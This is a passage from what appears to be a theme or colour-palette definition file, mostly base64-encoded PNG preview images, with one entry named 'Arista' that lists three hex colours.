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' ["Arista"]='#000000 #2E4053 #BDC3C7 data:image/png;base64,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